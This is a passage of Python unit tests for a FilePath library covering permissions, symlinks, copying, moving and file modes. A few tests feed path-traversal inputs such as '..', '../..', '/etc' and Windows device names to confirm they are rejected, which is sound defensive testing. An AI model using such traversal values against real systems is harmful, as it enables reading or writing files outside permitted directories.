Override 'open' to track all files opened by this path.\n \"\"\"\n f = filepath.FilePath.open(self, *a, **k)\n self.openedFiles.append(f)\n return f\n\n\n def openedPaths(self):\n \"\"\"\n Return a list of all L{TrackingFilePath}s associated with this\n L{TrackingFilePath} that have had their C{open()} method called.\n \"\"\"\n return [path for path in self.trackingList if path.openedFiles]\n\n\n def clonePath(self, name):\n \"\"\"\n Override L{filepath.FilePath.clonePath} to give the new path a reference\n to the same tracking list.\n \"\"\"\n clone = TrackingFilePath(name, trackingList=self.trackingList)\n self.trackingList.append(clone)\n return clone\n\n\n\nclass ExplodingFilePath(filepath.FilePath):\n \"\"\"\n A specialized L{FilePath} which always returns an instance of\n L{ExplodingFile} from its C{open} method.\n\n @ivar fp: The L{ExplodingFile} instance most recently returned from the\n C{open} method.\n \"\"\"\n\n def __init__(self, pathName, originalExploder=None):\n \"\"\"\n Initialize an L{ExplodingFilePath} with a name and a reference to the\n\n @param pathName: The path name as passed to L{filepath.FilePath}.\n @type pathName: C{str}\n\n @param originalExploder: The L{ExplodingFilePath} to associate opened\n files with.\n @type originalExploder: L{ExplodingFilePath}\n \"\"\"\n filepath.FilePath.__init__(self, pathName)\n if originalExploder is None:\n originalExploder = self\n self._originalExploder = originalExploder\n\n\n def open(self, mode=None):\n \"\"\"\n Create, save, and return a new C{ExplodingFile}.\n\n @param mode: Present for signature compatibility. Ignored.\n\n @return: A new C{ExplodingFile}.\n \"\"\"\n f = self._originalExploder.fp = ExplodingFile()\n return f\n\n\n def clonePath(self, name):\n return ExplodingFilePath(name, self._originalExploder)\n\n\n\nclass PermissionsTests(BytesTestCase):\n \"\"\"\n Test Permissions and RWX classes\n \"\"\"\n\n def assertNotUnequal(self, first, second, msg=None):\n \"\"\"\n Tests that C{first} != C{second} is false. This method tests the\n __ne__ method, as opposed to L{assertEqual} (C{first} == C{second}),\n which tests the __eq__ method.\n\n Note: this should really be part of trial\n \"\"\"\n if first != second:\n if msg is None:\n msg = '';\n if len(msg) > 0:\n msg += '\\n'\n raise self.failureException(\n '%snot not unequal (__ne__ not implemented correctly):'\n '\\na = %s\\nb = %s\\n'\n % (msg, pformat(first), pformat(second)))\n return first\n\n\n def test_rwxFromBools(self):\n \"\"\"\n L{RWX}'s constructor takes a set of booleans\n \"\"\"\n for r in (True, False):\n for w in (True, False):\n for x in (True, False):\n rwx = filepath.RWX(r, w, x)\n self.assertEqual(rwx.read, r)\n self.assertEqual(rwx.write, w)\n self.assertEqual(rwx.execute, x)\n rwx = filepath.RWX(True, True, True)\n self.assertTrue(rwx.read and rwx.write and rwx.execute)\n\n\n def test_rwxEqNe(self):\n \"\"\"\n L{RWX}'s created with the same booleans are equivalent. If booleans\n are different, they are not equal.\n \"\"\"\n for r in (True, False):\n for w in (True, False):\n for x in (True, False):\n self.assertEqual(filepath.RWX(r, w, x),\n filepath.RWX(r, w, x))\n self.assertNotUnequal(filepath.RWX(r, w, x),\n filepath.RWX(r, w, x))\n self.assertNotEqual(filepath.RWX(True, True, True),\n filepath.RWX(True, True, False))\n self.assertNotEqual(3, filepath.RWX(True, True, True))\n\n\n def test_rwxShorthand(self):\n \"\"\"\n L{RWX}'s shorthand string should be 'rwx' if read, write, and execute\n permission bits are true. If any of those permissions bits are false,\n the character is replaced by a '-'.\n \"\"\"\n\n def getChar(val, letter):\n if val:\n return letter\n return '-'\n\n for r in (True, False):\n for w in (True, False):\n for x in (True, False):\n rwx = filepath.RWX(r, w, x)\n self.assertEqual(rwx.shorthand(),\n getChar(r, 'r') +\n getChar(w, 'w') +\n getChar(x, 'x'))\n self.assertEqual(filepath.RWX(True, False, True).shorthand(), \"r-x\")\n\n\n def test_permissionsFromStat(self):\n \"\"\"\n L{Permissions}'s constructor takes a valid permissions bitmask and\n parsaes it to produce the correct set of boolean permissions.\n \"\"\"\n def _rwxFromStat(statModeInt, who):\n def getPermissionBit(what, who):\n return (statModeInt &\n getattr(stat, \"S_I%s%s\" % (what, who))) > 0\n return filepath.RWX(*[getPermissionBit(what, who) for what in\n ('R', 'W', 'X')])\n\n for u in range(0, 8):\n for g in range(0, 8):\n for o in range(0, 8):\n chmodString = \"%d%d%d\" % (u, g, o)\n chmodVal = int(chmodString, 8)\n perm = filepath.Permissions(chmodVal)\n self.assertEqual(perm.user,\n _rwxFromStat(chmodVal, \"USR\"),\n \"%s: got user: %s\" %\n (chmodString, perm.user))\n self.assertEqual(perm.group,\n _rwxFromStat(chmodVal, \"GRP\"),\n \"%s: got group: %s\" %\n (chmodString, perm.group))\n self.assertEqual(perm.other,\n _rwxFromStat(chmodVal, \"OTH\"),\n \"%s: got other: %s\" %\n (chmodString, perm.other))\n perm = filepath.Permissions(0o777)\n for who in (\"user\", \"group\", \"other\"):\n for what in (\"read\", \"write\", \"execute\"):\n self.assertTrue(getattr(getattr(perm, who), what))\n\n\n def test_permissionsEq(self):\n \"\"\"\n Two L{Permissions}'s that are created with the same bitmask\n are equivalent\n \"\"\"\n self.assertEqual(filepath.Permissions(0o777),\n filepath.Permissions(0o777))\n self.assertNotUnequal(filepath.Permissions(0o777),\n filepath.Permissions(0o777))\n self.assertNotEqual(filepath.Permissions(0o777),\n filepath.Permissions(0o700))\n self.assertNotEqual(3, filepath.Permissions(0o777))\n\n\n def test_permissionsShorthand(self):\n \"\"\"\n L{Permissions}'s shorthand string is the RWX shorthand string for its\n user permission bits, group permission bits, and other permission bits\n concatenated together, without a space.\n \"\"\"\n for u in range(0, 8):\n for g in range(0, 8):\n for o in range(0, 8):\n perm = filepath.Permissions(int(\"0o%d%d%d\" % (u, g, o), 8))\n self.assertEqual(perm.shorthand(),\n ''.join(x.shorthand() for x in (\n perm.user, perm.group, perm.other)))\n self.assertEqual(filepath.Permissions(0o770).shorthand(), \"rwxrwx---\")\n\n\n\nclass FilePathTests(AbstractFilePathTests):\n \"\"\"\n Test various L{FilePath} path manipulations.\n\n In particular, note that tests defined on this class instead of on the base\n class are only run against L{twisted.python.filepath}.\n \"\"\"\n def test_chmod(self):\n \"\"\"\n L{FilePath.chmod} modifies the permissions of\n the passed file as expected (using C{os.stat} to check). We use some\n basic modes that should work everywhere (even on Windows).\n \"\"\"\n for mode in (0o555, 0o777):\n self.path.child(b\"sub1\").chmod(mode)\n self.assertEqual(\n stat.S_IMODE(os.stat(self.path.child(b\"sub1\").path).st_mode),\n mode)\n\n\n def symlink(self, target, name):\n \"\"\"\n Create a symbolic link named C{name} pointing at C{target}.\n\n @type target: C{str}\n @type name: C{str}\n @raise SkipTest: raised if symbolic links are not supported on the\n host platform.\n \"\"\"\n if symlinkSkip:\n raise SkipTest(symlinkSkip)\n os.symlink(target, name)\n\n\n def createLinks(self):\n \"\"\"\n Create several symbolic links to files and directories.\n \"\"\"\n subdir = self.path.child(b\"sub1\")\n self.symlink(subdir.path, self._mkpath(b\"sub1.link\"))\n self.symlink(subdir.child(b\"file2\").path, self._mkpath(b\"file2.link\"))\n self.symlink(subdir.child(b\"file2\").path,\n self._mkpath(b\"sub1\", b\"sub1.file2.link\"))\n\n\n def test_realpathSymlink(self):\n \"\"\"\n L{FilePath.realpath} returns the path of the ultimate target of a\n symlink.\n \"\"\"\n self.createLinks()\n self.symlink(self.path.child(b\"file2.link\").path,\n self.path.child(b\"link.link\").path)\n self.assertEqual(self.path.child(b\"link.link\").realpath(),\n self.path.child(b\"sub1\").child(b\"file2\"))\n\n\n def test_realpathCyclicalSymlink(self):\n \"\"\"\n L{FilePath.realpath} raises L{filepath.LinkError} if the path is a\n symbolic link which is part of a cycle.\n \"\"\"\n self.symlink(self.path.child(b\"link1\").path, self.path.child(b\"link2\").path)\n self.symlink(self.path.child(b\"link2\").path, self.path.child(b\"link1\").path)\n self.assertRaises(filepath.LinkError,\n self.path.child(b\"link2\").realpath)\n\n\n def test_realpathNoSymlink(self):\n \"\"\"\n L{FilePath.realpath} returns the path itself if the path is not a\n symbolic link.\n \"\"\"\n self.assertEqual(self.path.child(b\"sub1\").realpath(),\n self.path.child(b\"sub1\"))\n\n\n def test_walkCyclicalSymlink(self):\n \"\"\"\n Verify that walking a path with a cyclical symlink raises an error\n \"\"\"\n self.createLinks()\n self.symlink(self.path.child(b\"sub1\").path,\n self.path.child(b\"sub1\").child(b\"sub1.loopylink\").path)\n def iterateOverPath():\n return [foo.path for foo in self.path.walk()]\n self.assertRaises(filepath.LinkError, iterateOverPath)\n\n\n def test_walkObeysDescendWithCyclicalSymlinks(self):\n \"\"\"\n Verify that, after making a path with cyclical symlinks, when the\n supplied C{descend} predicate returns C{False}, the target is not\n traversed, as if it was a simple symlink.\n \"\"\"\n self.createLinks()\n # we create cyclical symlinks\n self.symlink(self.path.child(b\"sub1\").path,\n self.path.child(b\"sub1\").child(b\"sub1.loopylink\").path)\n def noSymLinks(path):\n return not path.islink()\n def iterateOverPath():\n return [foo.path for foo in self.path.walk(descend=noSymLinks)]\n self.assertTrue(iterateOverPath())\n\n\n def test_walkObeysDescend(self):\n \"\"\"\n Verify that when the supplied C{descend} predicate returns C{False},\n the target is not traversed.\n \"\"\"\n self.createLinks()\n def noSymLinks(path):\n return not path.islink()\n x = [foo.path for foo in self.path.walk(descend=noSymLinks)]\n self.assertEqual(set(x), set(self.all))\n\n\n def test_getAndSet(self):\n content = b'newcontent'\n self.path.child(b'new').setContent(content)\n newcontent = self.path.child(b'new').getContent()\n self.assertEqual(content, newcontent)\n content = b'content'\n self.path.child(b'new').setContent(content, b'.tmp')\n newcontent = self.path.child(b'new').getContent()\n self.assertEqual(content, newcontent)\n\n\n def test_getContentFileClosing(self):\n \"\"\"\n If reading from the underlying file raises an exception,\n L{FilePath.getContent} raises that exception after closing the file.\n \"\"\"\n fp = ExplodingFilePath(b\"\")\n self.assertRaises(IOError, fp.getContent)\n self.assertTrue(fp.fp.closed)\n\n\n def test_symbolicLink(self):\n \"\"\"\n Verify the behavior of the C{isLink} method against links and\n non-links. Also check that the symbolic link shares the directory\n property with its target.\n \"\"\"\n s4 = self.path.child(b\"sub4\")\n s3 = self.path.child(b\"sub3\")\n self.symlink(s3.path, s4.path)\n self.assertTrue(s4.islink())\n self.assertFalse(s3.islink())\n self.assertTrue(s4.isdir())\n self.assertTrue(s3.isdir())\n\n\n def test_linkTo(self):\n \"\"\"\n Verify that symlink creates a valid symlink that is both a link and a\n file if its target is a file, or a directory if its target is a\n directory.\n \"\"\"\n targetLinks = [\n (self.path.child(b\"sub2\"), self.path.child(b\"sub2.link\")),\n (self.path.child(b\"sub2\").child(b\"file3.ext1\"),\n self.path.child(b\"file3.ext1.link\"))\n ]\n for target, link in targetLinks:\n target.linkTo(link)\n self.assertTrue(link.islink(), \"This is a link\")\n self.assertEqual(target.isdir(), link.isdir())\n self.assertEqual(target.isfile(), link.isfile())\n\n\n def test_linkToErrors(self):\n \"\"\"\n Verify C{linkTo} fails in the following case:\n - the target is in a directory that doesn't exist\n - the target already exists\n \"\"\"\n self.assertRaises(OSError, self.path.child(b\"file1\").linkTo,\n self.path.child(b'nosub').child(b'file1'))\n self.assertRaises(OSError, self.path.child(b\"file1\").linkTo,\n self.path.child(b'sub1').child(b'file2'))\n\n\n if symlinkSkip:\n test_symbolicLink.skip = symlinkSkip\n test_linkTo.skip = symlinkSkip\n test_linkToErrors.skip = symlinkSkip\n\n\n def testMultiExt(self):\n f3 = self.path.child(b'sub3').child(b'file3')\n exts = b'.foo', b'.bar', b'ext1', b'ext2', b'ext3'\n self.assertFalse(f3.siblingExtensionSearch(*exts))\n f3e = f3.siblingExtension(b\".foo\")\n f3e.touch()\n self.assertFalse(not f3.siblingExtensionSearch(*exts).exists())\n self.assertFalse(not f3.siblingExtensionSearch(b'*').exists())\n f3e.remove()\n self.assertFalse(f3.siblingExtensionSearch(*exts))\n\n def testPreauthChild(self):\n fp = filepath.FilePath(b'.')\n fp.preauthChild(b'foo/bar')\n self.assertRaises(filepath.InsecurePath, fp.child, u'/mon\\u20acy')\n\n def testStatCache(self):\n p = self.path.child(b'stattest')\n p.touch()\n self.assertEqual(p.getsize(), 0)\n self.assertEqual(abs(p.getmtime() - time.time()) // 20, 0)\n self.assertEqual(abs(p.getctime() - time.time()) // 20, 0)\n self.assertEqual(abs(p.getatime() - time.time()) // 20, 0)\n self.assertTrue(p.exists())\n self.assertTrue(p.exists())\n # OOB removal: FilePath.remove() will automatically restat\n os.remove(p.path)\n # test caching\n self.assertTrue(p.exists())\n p.restat(reraise=False)\n self.assertFalse(p.exists())\n self.assertFalse(p.islink())\n self.assertFalse(p.isdir())\n self.assertFalse(p.isfile())\n\n def testPersist(self):\n newpath = pickle.loads(pickle.dumps(self.path))\n self.assertEqual(self.path.__class__, newpath.__class__)\n self.assertEqual(self.path.path, newpath.path)\n\n def testInsecureUNIX(self):\n self.assertRaises(filepath.InsecurePath, self.path.child, b\"..\")\n self.assertRaises(filepath.InsecurePath, self.path.child, b\"/etc\")\n self.assertRaises(filepath.InsecurePath, self.path.child, b\"../..\")\n\n def testInsecureWin32(self):\n self.assertRaises(filepath.InsecurePath, self.path.child, b\"..\\\\..\")\n self.assertRaises(filepath.InsecurePath, self.path.child, b\"C:randomfile\")\n\n if platform.getType() != 'win32':\n testInsecureWin32.skip = \"Test will run only on Windows.\"\n\n\n def testInsecureWin32Whacky(self):\n \"\"\"\n Windows has 'special' filenames like NUL and CON and COM1 and LPR\n and PRN and ... god knows what else. They can be located anywhere in\n the filesystem. For obvious reasons, we do not wish to normally permit\n access to these.\n \"\"\"\n self.assertRaises(filepath.InsecurePath, self.path.child, b\"CON\")\n self.assertRaises(filepath.InsecurePath, self.path.child, b\"C:CON\")\n self.assertRaises(filepath.InsecurePath, self.path.child, r\"C:\\CON\")\n\n if platform.getType() != 'win32':\n testInsecureWin32Whacky.skip = \"Test will run only on Windows.\"\n\n\n def testComparison(self):\n self.assertEqual(filepath.FilePath(b'a'),\n filepath.FilePath(b'a'))\n self.assertTrue(filepath.FilePath(b'z') >\n filepath.FilePath(b'a'))\n self.assertTrue(filepath.FilePath(b'z') >=\n filepath.FilePath(b'a'))\n self.assertTrue(filepath.FilePath(b'a') >=\n filepath.FilePath(b'a'))\n self.assertTrue(filepath.FilePath(b'a') <=\n filepath.FilePath(b'a'))\n self.assertTrue(filepath.FilePath(b'a') <\n filepath.FilePath(b'z'))\n self.assertTrue(filepath.FilePath(b'a') <=\n filepath.FilePath(b'z'))\n self.assertTrue(filepath.FilePath(b'a') !=\n filepath.FilePath(b'z'))\n self.assertTrue(filepath.FilePath(b'z') !=\n filepath.FilePath(b'a'))\n\n self.assertFalse(filepath.FilePath(b'z') !=\n filepath.FilePath(b'z'))\n\n\n def test_descendantOnly(self):\n \"\"\"\n If C{\"..\"} is in the sequence passed to L{FilePath.descendant},\n L{InsecurePath} is raised.\n \"\"\"\n self.assertRaises(\n filepath.InsecurePath,\n self.path.descendant, [u'mon\\u20acy', u'..'])\n\n\n def testSibling(self):\n p = self.path.child(b'sibling_start')\n ts = p.sibling(b'sibling_test')\n self.assertEqual(ts.dirname(), p.dirname())\n self.assertEqual(ts.basename(), b'sibling_test')\n ts.createDirectory()\n self.assertIn(ts, self.path.children())\n\n def testTemporarySibling(self):\n ts = self.path.temporarySibling()\n self.assertEqual(ts.dirname(), self.path.dirname())\n self.assertNotIn(ts.basename(), self.path.listdir())\n ts.createDirectory()\n self.assertIn(ts, self.path.parent().children())\n\n\n def test_temporarySiblingExtension(self):\n \"\"\"\n If L{FilePath.temporarySibling} is given an extension argument, it will\n produce path objects with that extension appended to their names.\n \"\"\"\n testExtension = b\".test-extension\"\n ts = self.path.temporarySibling(testExtension)\n self.assertTrue(ts.basename().endswith(testExtension),\n \"%s does not end with %s\" % (\n ts.basename(), testExtension))\n\n\n def test_removeDirectory(self):\n \"\"\"\n L{FilePath.remove} on a L{FilePath} that refers to a directory will\n recursively delete its contents.\n \"\"\"\n self.path.remove()\n self.assertFalse(self.path.exists())\n\n\n def test_removeWithSymlink(self):\n \"\"\"\n For a path which is a symbolic link, L{FilePath.remove} just deletes\n the link, not the target.\n \"\"\"\n link = self.path.child(b\"sub1.link\")\n # setUp creates the sub1 child\n self.symlink(self.path.child(b\"sub1\").path, link.path)\n link.remove()\n self.assertFalse(link.exists())\n self.assertTrue(self.path.child(b\"sub1\").exists())\n\n\n def test_copyToDirectory(self):\n \"\"\"\n L{FilePath.copyTo} makes a copy of all the contents of the directory\n named by that L{FilePath} if it is able to do so.\n \"\"\"\n oldPaths = list(self.path.walk()) # Record initial state\n fp = filepath.FilePath(self.mktemp())\n self.path.copyTo(fp)\n self.path.remove()\n fp.copyTo(self.path)\n newPaths = list(self.path.walk()) # Record double-copy state\n newPaths.sort()\n oldPaths.sort()\n self.assertEqual(newPaths, oldPaths)\n\n\n def test_copyToMissingDestFileClosing(self):\n \"\"\"\n If an exception is raised while L{FilePath.copyTo} is trying to open\n source file to read from, the destination file is closed and the\n exception is raised to the caller of L{FilePath.copyTo}.\n \"\"\"\n nosuch = self.path.child(b\"nothere\")\n # Make it look like something to copy, even though it doesn't exist.\n # This could happen if the file is deleted between the isfile check and\n # the file actually being opened.\n nosuch.isfile = lambda: True\n\n # We won't get as far as writing to this file, but it's still useful for\n # tracking whether we closed it.\n destination = ExplodingFilePath(self.mktemp())\n\n self.assertRaises(IOError, nosuch.copyTo, destination)\n self.assertTrue(destination.fp.closed)\n\n\n def test_copyToFileClosing(self):\n \"\"\"\n If an exception is raised while L{FilePath.copyTo} is copying bytes\n between two regular files, the source and destination files are closed\n and the exception propagates to the caller of L{FilePath.copyTo}.\n \"\"\"\n destination = ExplodingFilePath(self.mktemp())\n source = ExplodingFilePath(__file__)\n self.assertRaises(IOError, source.copyTo, destination)\n self.assertTrue(source.fp.closed)\n self.assertTrue(destination.fp.closed)\n\n\n def test_copyToDirectoryItself(self):\n \"\"\"\n L{FilePath.copyTo} fails with an OSError or IOError (depending on\n platform, as it propagates errors from open() and write()) when\n attempting to copy a directory to a child of itself.\n \"\"\"\n self.assertRaises((OSError, IOError),\n self.path.copyTo, self.path.child(b'file1'))\n\n\n def test_copyToWithSymlink(self):\n \"\"\"\n Verify that copying with followLinks=True copies symlink targets\n instead of symlinks\n \"\"\"\n self.symlink(self.path.child(b\"sub1\").path,\n self.path.child(b\"link1\").path)\n fp = filepath.FilePath(self.mktemp())\n self.path.copyTo(fp)\n self.assertFalse(fp.child(b\"link1\").islink())\n self.assertEqual([x.basename() for x in fp.child(b\"sub1\").children()],\n [x.basename() for x in fp.child(b\"link1\").children()])\n\n\n def test_copyToWithoutSymlink(self):\n \"\"\"\n Verify that copying with followLinks=False copies symlinks as symlinks\n \"\"\"\n self.symlink(b\"sub1\", self.path.child(b\"link1\").path)\n fp = filepath.FilePath(self.mktemp())\n self.path.copyTo(fp, followLinks=False)\n self.assertTrue(fp.child(b\"link1\").islink())\n self.assertEqual(os.readlink(self.path.child(b\"link1\").path),\n os.readlink(fp.child(b\"link1\").path))\n\n\n def test_copyToMissingSource(self):\n \"\"\"\n If the source path is missing, L{FilePath.copyTo} raises L{OSError}.\n \"\"\"\n path = filepath.FilePath(self.mktemp())\n exc = self.assertRaises(OSError, path.copyTo, b'some other path')\n self.assertEqual(exc.errno, errno.ENOENT)\n\n\n def test_moveTo(self):\n \"\"\"\n Verify that moving an entire directory results into another directory\n with the same content.\n \"\"\"\n oldPaths = list(self.path.walk()) # Record initial state\n fp = filepath.FilePath(self.mktemp())\n self.path.moveTo(fp)\n fp.moveTo(self.path)\n newPaths = list(self.path.walk()) # Record double-move state\n newPaths.sort()\n oldPaths.sort()\n self.assertEqual(newPaths, oldPaths)\n\n\n def test_moveToExistsCache(self):\n \"\"\"\n A L{FilePath} that has been moved aside with L{FilePath.moveTo} no\n longer registers as existing. Its previously non-existent target\n exists, though, as it was created by the call to C{moveTo}.\n \"\"\"\n fp = filepath.FilePath(self.mktemp())\n fp2 = filepath.FilePath(self.mktemp())\n fp.touch()\n\n # Both a sanity check (make sure the file status looks right) and an\n # enticement for stat-caching logic to kick in and remember that these\n # exist / don't exist.\n self.assertTrue(fp.exists())\n self.assertFalse(fp2.exists())\n\n fp.moveTo(fp2)\n self.assertFalse(fp.exists())\n self.assertTrue(fp2.exists())\n\n\n def test_moveToExistsCacheCrossMount(self):\n \"\"\"\n The assertion of test_moveToExistsCache should hold in the case of a\n cross-mount move.\n \"\"\"\n self.setUpFaultyRename()\n self.test_moveToExistsCache()\n\n\n def test_moveToSizeCache(self, hook=lambda : None):\n \"\"\"\n L{FilePath.moveTo} clears its destination's status cache, such that\n calls to L{FilePath.getsize} after the call to C{moveTo} will report the\n new size, not the old one.\n\n This is a separate test from C{test_moveToExistsCache} because it is\n intended to cover the fact that the destination's cache is dropped;\n test_moveToExistsCache doesn't cover this case because (currently) a\n file that doesn't exist yet does not cache the fact of its non-\n existence.\n \"\"\"\n fp = filepath.FilePath(self.mktemp())\n fp2 = filepath.FilePath(self.mktemp())\n fp.setContent(b\"1234\")\n fp2.setContent(b\"1234567890\")\n hook()\n\n # Sanity check / kick off caching.\n self.assertEqual(fp.getsize(), 4)\n self.assertEqual(fp2.getsize(), 10)\n # Actually attempting to replace a file on Windows would fail with\n # ERROR_ALREADY_EXISTS, but we don't need to test that, just the cached\n # metadata, so, delete the file ...\n os.remove(fp2.path)\n # ... but don't clear the status cache, as fp2.remove() would.\n self.assertEqual(fp2.getsize(), 10)\n\n fp.moveTo(fp2)\n self.assertEqual(fp2.getsize(), 4)\n\n\n def test_moveToSizeCacheCrossMount(self):\n \"\"\"\n The assertion of test_moveToSizeCache should hold in the case of a\n cross-mount move.\n \"\"\"\n self.test_moveToSizeCache(hook=self.setUpFaultyRename)\n\n\n def test_moveToError(self):\n \"\"\"\n Verify error behavior of moveTo: it should raises one of OSError or\n IOError if you want to move a path into one of its child. It's simply\n the error raised by the underlying rename system call.\n \"\"\"\n self.assertRaises((OSError, IOError), self.path.moveTo, self.path.child(b'file1'))\n\n\n def setUpFaultyRename(self):\n \"\"\"\n Set up a C{os.rename} that will fail with L{errno.EXDEV} on first call.\n This is used to simulate a cross-device rename failure.\n\n @return: a list of pair (src, dest) of calls to C{os.rename}\n @rtype: C{list} of C{tuple}\n \"\"\"\n invokedWith = []\n def faultyRename(src, dest):\n invokedWith.append((src, dest))\n if len(invokedWith) == 1:\n raise OSError(errno.EXDEV, 'Test-induced failure simulating '\n 'cross-device rename failure')\n return originalRename(src, dest)\n\n originalRename = os.rename\n self.patch(os, \"rename\", faultyRename)\n return invokedWith\n\n\n def test_crossMountMoveTo(self):\n \"\"\"\n C{moveTo} should be able to handle C{EXDEV} error raised by\n C{os.rename} when trying to move a file on a different mounted\n filesystem.\n \"\"\"\n invokedWith = self.setUpFaultyRename()\n # Bit of a whitebox test - force os.rename, which moveTo tries\n # before falling back to a slower method, to fail, forcing moveTo to\n # use the slower behavior.\n self.test_moveTo()\n # A bit of a sanity check for this whitebox test - if our rename\n # was never invoked, the test has probably fallen into disrepair!\n self.assertTrue(invokedWith)\n\n\n def test_crossMountMoveToWithSymlink(self):\n \"\"\"\n By default, when moving a symlink, it should follow the link and\n actually copy the content of the linked node.\n \"\"\"\n invokedWith = self.setUpFaultyRename()\n f2 = self.path.child(b'file2')\n f3 = self.path.child(b'file3')\n self.symlink(self.path.child(b'file1').path, f2.path)\n f2.moveTo(f3)\n self.assertFalse(f3.islink())\n self.assertEqual(f3.getContent(), b'file 1')\n self.assertTrue(invokedWith)\n\n\n def test_crossMountMoveToWithoutSymlink(self):\n \"\"\"\n Verify that moveTo called with followLinks=False actually create\n another symlink.\n \"\"\"\n invokedWith = self.setUpFaultyRename()\n f2 = self.path.child(b'file2')\n f3 = self.path.child(b'file3')\n self.symlink(self.path.child(b'file1').path, f2.path)\n f2.moveTo(f3, followLinks=False)\n self.assertTrue(f3.islink())\n self.assertEqual(f3.getContent(), b'file 1')\n self.assertTrue(invokedWith)\n\n\n def test_createBinaryMode(self):\n \"\"\"\n L{FilePath.create} should always open (and write to) files in binary\n mode; line-feed octets should be unmodified.\n\n (While this test should pass on all platforms, it is only really\n interesting on platforms which have the concept of binary mode, i.e.\n Windows platforms.)\n \"\"\"\n path = filepath.FilePath(self.mktemp())\n with path.create() as f:\n self.assertIn(\"b\", f.mode)\n f.write(b\"\\n\")\n with open(path.path, \"rb\") as fp:\n read = fp.read()\n self.assertEqual(read, b\"\\n\")\n\n\n def testOpen(self):\n # Opening a file for reading when it does not already exist is an error\n nonexistent = self.path.child(b'nonexistent')\n e = self.assertRaises(IOError, nonexistent.open)\n self.assertEqual(e.errno, errno.ENOENT)\n\n # Opening a file for writing when it does not exist is okay\n writer = self.path.child(b'writer')\n with writer.open('w') as f:\n f.write(b'abc\\ndef')\n\n # Make sure those bytes ended up there - and test opening a file for\n # reading when it does exist at the same time\n with writer.open() as f:\n self.assertEqual(f.read(), b'abc\\ndef')\n\n # Re-opening that file in write mode should erase whatever was there.\n writer.open('w').close()\n with writer.open() as f:\n self.assertEqual(f.read(), b'')\n\n # Put some bytes in a file so we can test that appending does not\n # destroy them.\n appender = self.path.child(b'appender')\n with appender.open('w') as f:\n f.write(b'abc')\n\n with appender.open('a') as f:\n f.write(b'def')\n\n with appender.open('r') as f:\n self.assertEqual(f.read(), b'abcdef')\n\n # read/write should let us do both without erasing those bytes\n with appender.open('r+') as f:\n self.assertEqual(f.read(), b'abcdef')\n # ANSI C *requires* an fseek or an fgetpos between an fread and an\n # fwrite or an fwrite and an fread. We can't reliably get Python to\n # invoke fgetpos, so we seek to a 0 byte offset from the current\n # position instead. Also, Python sucks for making this seek\n # relative to 1 instead of a symbolic constant representing the\n # current file position.\n f.seek(0, 1)\n # Put in some new bytes for us to test for later.\n f.write(b'ghi')\n\n # Make sure those new bytes really showed up\n with appender.open('r') as f:\n self.assertEqual(f.read(), b'abcdefghi')\n\n # write/read should let us do both, but erase anything that's there\n # already.\n with appender.open('w+') as f:\n self.assertEqual(f.read(), b'')\n f.seek(0, 1) # Don't forget this!\n f.write(b'123')\n\n # super append mode should let us read and write and also position the\n # cursor at the end of the file, without erasing everything.\n with appender.open('a+') as f:\n\n # The order of these lines may seem surprising, but it is\n # necessary. The cursor is not at the end of the file until after\n # the first write.\n\n f.write(b'456')\n f.seek(0, 1) # Asinine.\n self.assertEqual(f.read(), b'')\n\n f.seek(0, 0)\n self.assertEqual(f.read(), b'123456')\n\n # Opening a file exclusively must fail if that file exists already.\n nonexistent.requireCreate(True)\n nonexistent.open('w').close()\n existent = nonexistent\n del nonexistent\n self.assertRaises((OSError, IOError), existent.open)\n\n\n def test_openWithExplicitBinaryMode(self):\n \"\"\"\n Due to a bug in Python 2.7 on Windows including multiple 'b'\n characters in the mode passed to the built-in open() will cause an\n error. FilePath.open() ensures that only a single 'b' character is\n included in the mode passed to the built-in open().\n\n See http://bugs.python.org/issue7686 for details about the bug.\n \"\"\"\n writer = self.path.child(b'explicit-binary')\n with writer.open('wb') as file:\n file.write(b'abc\\ndef')\n self.assertTrue(writer.exists)\n\n\n def test_openWithRedundantExplicitBinaryModes(self):\n \"\"\"\n Due to a bug in Python 2.7 on Windows including multiple 'b'\n characters in the mode passed to the built-in open() will cause an\n error. No matter how many 'b' modes are specified, FilePath.open()\n ensures that only a single 'b' character is included in the mode\n passed to the built-in open().\n\n See http://bugs.python.org/issue7686 for details about the bug.\n \"\"\"\n writer = self.path.child(b'multiple-binary')\n with writer.open('wbb') as file:\n file.write(b'abc\\ndef')\n self.assertTrue(writer.exists)\n\n\n def test_existsCache(self):\n \"\"\"\n Check that C{filepath.FilePath.exists} correctly restat the object if\n an operation has occurred in the mean time.\n \"\"\"\n fp = filepath.FilePath(self.mktemp())\n self.assertFalse(fp.exists())\n\n fp.makedirs()\n self.assertTrue(fp.exists())\n\n\n def test_makedirsMakesDirectoriesRecursively(self):\n \"\"\"\n C{FilePath.makedirs} creates a directory at C{path}}, including\n recursively creating all parent directories leading up to the path.\n \"\"\"\n fp = filepath.FilePath(os.path.join(\n self.mktemp(), b\"foo\", b\"bar\", b\"baz\"))\n self.assertFalse(fp.exists())\n\n fp.makedirs()\n\n self.assertTrue(fp.exists())\n self.assertTrue(fp.isdir())\n\n\n def test_makedirsMakesDirectoriesWithIgnoreExistingDirectory(self):\n \"\"\"\n Calling C{FilePath.makedirs} with C{ignoreExistingDirectory} set to\n C{True} has no effect if directory does not exist.\n \"\"\"\n fp = filepath.FilePath(self.mktemp())\n self.assertFalse(fp.exists())\n\n fp.makedirs(ignoreExistingDirectory=True)\n\n self.assertTrue(fp.exists())\n self.assertTrue(fp.isdir())\n\n\n def test_makedirsThrowsWithExistentDirectory(self):\n \"\"\"\n C{FilePath.makedirs} throws an C{OSError} exception\n when called on a directory that already exists.\n \"\"\"\n fp = filepath.FilePath(os.path.join(self.mktemp()))\n fp.makedirs()\n\n exception = self.assertRaises(OSError, fp.makedirs)\n\n self.assertEqual(exception.errno, errno.EEXIST)\n\n\n def test_makedirsAcceptsIgnoreExistingDirectory(self):\n \"\"\"\n C{FilePath.makedirs} succeeds when called on a directory that already\n exists and the c{ignoreExistingDirectory} argument is set to C{True}.\n \"\"\"\n fp = filepath.FilePath(self.mktemp())\n fp.makedirs()\n self.assertTrue(fp.exists())\n\n fp.makedirs(ignoreExistingDirectory=True)\n\n self.assertTrue(fp.exists())\n\n\n def test_makedirsIgnoreExistingDirectoryExistAlreadyAFile(self):\n \"\"\"\n When C{FilePath.makedirs} is called with C{ignoreExistingDirectory} set\n to C{True} it throws an C{OSError} exceptions if path is a file.\n \"\"\"\n fp = filepath.FilePath(self.mktemp())\n fp.create()\n self.assertTrue(fp.isfile())\n\n exception = self.assertRaises(\n OSError, fp.makedirs, ignoreExistingDirectory=True)\n\n self.assertEqual(exception.errno, 